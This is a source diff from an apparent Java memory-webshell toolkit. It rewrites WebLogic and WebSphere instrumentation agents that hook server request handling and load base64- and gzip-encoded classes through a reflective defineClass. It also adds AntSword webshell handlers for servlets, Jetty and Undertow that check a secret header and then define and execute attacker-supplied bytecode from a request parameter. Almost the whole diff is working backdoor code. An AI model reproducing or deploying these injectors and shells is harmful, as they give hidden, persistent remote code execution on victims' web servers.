GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
} finally {
|
||||
try {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void defineTargetClass(ClassLoader loader) {
|
||||
try {
|
||||
loader.loadClass(getClassName());
|
||||
return;
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
}
|
||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||
try {
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
-97
@@ -1,97 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.weblogic;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class WebLogicServletContextAgentWithAsmInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "weblogic/servlet/internal/WebAppServletContext";
|
||||
private static final String TARGET_METHOD_NAME = "securedExecute";
|
||||
|
||||
static Constructor<?> constructor = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public WebLogicServletContextAgentWithAsmInjector() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new WebLogicServletContextAgentWithAsmInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at weblogic.servlet.internal.WebAppServletContext.securedExecute");
|
||||
}
|
||||
}
|
||||
+201
-38
@@ -1,39 +1,31 @@
|
||||
package com.reajason.javaweb.memshell.injector.websphere;
|
||||
|
||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import net.bytebuddy.utility.JavaModule;
|
||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/28
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class WebSphereFilterChainAgentInjector implements AgentBuilder.Transformer {
|
||||
public class WebSphereFilterChainAgentInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "com/ibm/ws/webcontainer/filter/WebAppFilterManager";
|
||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||
|
||||
static Class<?> interceptorClass = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
interceptorClass = Class.forName(getClassName());
|
||||
} catch (ClassNotFoundException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
@Override
|
||||
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
||||
TypeDescription typeDescription,
|
||||
ClassLoader classLoader, JavaModule module,
|
||||
ProtectionDomain protectionDomain) {
|
||||
return builder.visit(Advice.to(interceptorClass).on(named("doFilter")));
|
||||
public static String getBase64String() {
|
||||
return "{{base64String}}";
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
@@ -44,20 +36,191 @@ public class WebSphereFilterChainAgentInjector implements AgentBuilder.Transform
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
new AgentBuilder.Default()
|
||||
.ignore(ElementMatchers.none())
|
||||
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
||||
.type(named("com.ibm.ws.webcontainer.filter.WebAppFilterManager"))
|
||||
.transform(new WebSphereFilterChainAgentInjector())
|
||||
.installOn(inst);
|
||||
System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter");
|
||||
inst.addTransformer(new WebSphereFilterChainAgentInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
defineTargetClass(loader);
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||
private final Type[] argumentTypes;
|
||||
private final String className;
|
||||
|
||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.argumentTypes = argTypes;
|
||||
this.className = className;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitCode() {
|
||||
loadArgArray();
|
||||
Label tryStart = new Label();
|
||||
Label tryEnd = new Label();
|
||||
Label catchHandler = new Label();
|
||||
Label ifConditionFalse = new Label();
|
||||
Label skipCatchBlock = new Label();
|
||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||
|
||||
mv.visitLabel(tryStart);
|
||||
String internalClassName = className.replace('.', '/');
|
||||
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||
mv.visitInsn(Opcodes.SWAP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||
"java/lang/Object",
|
||||
"equals",
|
||||
"(Ljava/lang/Object;)Z",
|
||||
false);
|
||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
mv.visitLabel(ifConditionFalse);
|
||||
mv.visitLabel(tryEnd);
|
||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||
mv.visitLabel(catchHandler);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
mv.visitLabel(skipCatchBlock);
|
||||
}
|
||||
|
||||
public void loadArgArray() {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
for (int i = 0; i < argumentTypes.length; i++) {
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
push(i);
|
||||
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void push(final int value) {
|
||||
if (value >= -1 && value <= 5) {
|
||||
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||
} else {
|
||||
mv.visitLdcInsn(new Integer(value));
|
||||
}
|
||||
}
|
||||
|
||||
private int getArgIndex(final int arg) {
|
||||
int index = 1;
|
||||
for (int i = 0; i < arg; i++) {
|
||||
index += argumentTypes[i].getSize();
|
||||
}
|
||||
return index;
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
} finally {
|
||||
try {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void defineTargetClass(ClassLoader loader) {
|
||||
try {
|
||||
loader.loadClass(getClassName());
|
||||
return;
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
}
|
||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||
try {
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
-97
@@ -1,97 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.websphere;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class WebSphereFilterChainAgentWithAsmInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "com/ibm/ws/webcontainer/filter/WebAppFilterManager";
|
||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||
|
||||
static Constructor<?> constructor = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public WebSphereFilterChainAgentWithAsmInjector() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new WebSphereFilterChainAgentWithAsmInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter");
|
||||
}
|
||||
}
|
||||
+116
@@ -0,0 +1,116 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.antsword;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class AntSword extends ClassLoader {
|
||||
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
public AntSword() {
|
||||
}
|
||||
|
||||
public AntSword(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
Object[] args = ((Object[]) obj);
|
||||
Object request = unwrapRequest(args[0]);
|
||||
Object response = unwrapResponse(args[1]);
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null && value.contains(headerValue)) {
|
||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||
byte[] bytes = base64Decode(parameter);
|
||||
Object instance = (new AntSword(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
return true;
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64", false, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder", false, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
public Object unwrapRequest(Object request) {
|
||||
Object internalRequest = request;
|
||||
while (true) {
|
||||
try {
|
||||
Object r = getFieldValue(request, "request");
|
||||
if (r == internalRequest) {
|
||||
return r;
|
||||
} else {
|
||||
internalRequest = r;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
return internalRequest;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public Object unwrapResponse(Object response) {
|
||||
Object internalResponse = response;
|
||||
while (true) {
|
||||
try {
|
||||
Object r = getFieldValue(response, "response");
|
||||
if (r == internalResponse) {
|
||||
return r;
|
||||
} else {
|
||||
internalResponse = r;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
return internalResponse;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
}
|
||||
+1
-1
@@ -35,7 +35,7 @@ public class AntSwordFilter extends ClassLoader implements Filter {
|
||||
try {
|
||||
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordFilter(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
Object instance = (new AntSwordFilter(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
} else {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
|
||||
-47
@@ -1,47 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.antsword;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class AntSwordFilterChainAdvisor {
|
||||
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.Argument(value = 0) Object request,
|
||||
@Advice.Argument(value = 1) Object response
|
||||
) {
|
||||
String pass = "pass";
|
||||
String headerName = "headerName";
|
||||
String headerValue = "headerValue";
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null && value.contains(headerValue)) {
|
||||
byte[] data = null;
|
||||
Class<?> base64;
|
||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.newInstance();
|
||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||
}
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
|
||||
Object instance = payload.newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
+82
@@ -0,0 +1,82 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.antsword;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class AntSwordJettyHandler extends ClassLoader {
|
||||
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
public AntSwordJettyHandler() {
|
||||
}
|
||||
|
||||
public AntSwordJettyHandler(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
Object[] args = ((Object[]) obj);
|
||||
Object baseRequest = null;
|
||||
Object request = null;
|
||||
Object response = null;
|
||||
if (args.length == 4) {
|
||||
Object arg4 = args[3];
|
||||
baseRequest = args[1];
|
||||
if (arg4 instanceof Integer) {
|
||||
// jetty6
|
||||
request = args[1];
|
||||
response = args[2];
|
||||
} else {
|
||||
request = args[2];
|
||||
response = args[3];
|
||||
}
|
||||
} else {
|
||||
// ee10
|
||||
request = args[0];
|
||||
response = args[1];
|
||||
}
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null && value.contains(headerValue)) {
|
||||
if (baseRequest != null) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||
}
|
||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||
byte[] bytes = base64Decode(parameter);
|
||||
Object instance = (new AntSwordJettyHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
return true;
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
}
|
||||
+1
-1
@@ -58,7 +58,7 @@ public class AntSwordListener extends ClassLoader implements ServletRequestListe
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = getResponseFromRequest(request);
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
Object instance = (new AntSwordListener(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
+1
-1
@@ -23,7 +23,7 @@ public class AntSwordServlet extends ClassLoader implements Servlet {
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordServlet(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
Object instance = (new AntSwordServlet(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
+68
@@ -0,0 +1,68 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.antsword;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class AntSwordUndertowServletHandler extends ClassLoader {
|
||||
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
public AntSwordUndertowServletHandler() {
|
||||
}
|
||||
|
||||
public AntSwordUndertowServletHandler(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
Object[] args = ((Object[]) obj);
|
||||
Object servletRequestContext = null;
|
||||
if (args.length == 2) {
|
||||
servletRequestContext = args[1];
|
||||
} else {
|
||||
servletRequestContext = args[2];
|
||||
}
|
||||
try {
|
||||
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
|
||||
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
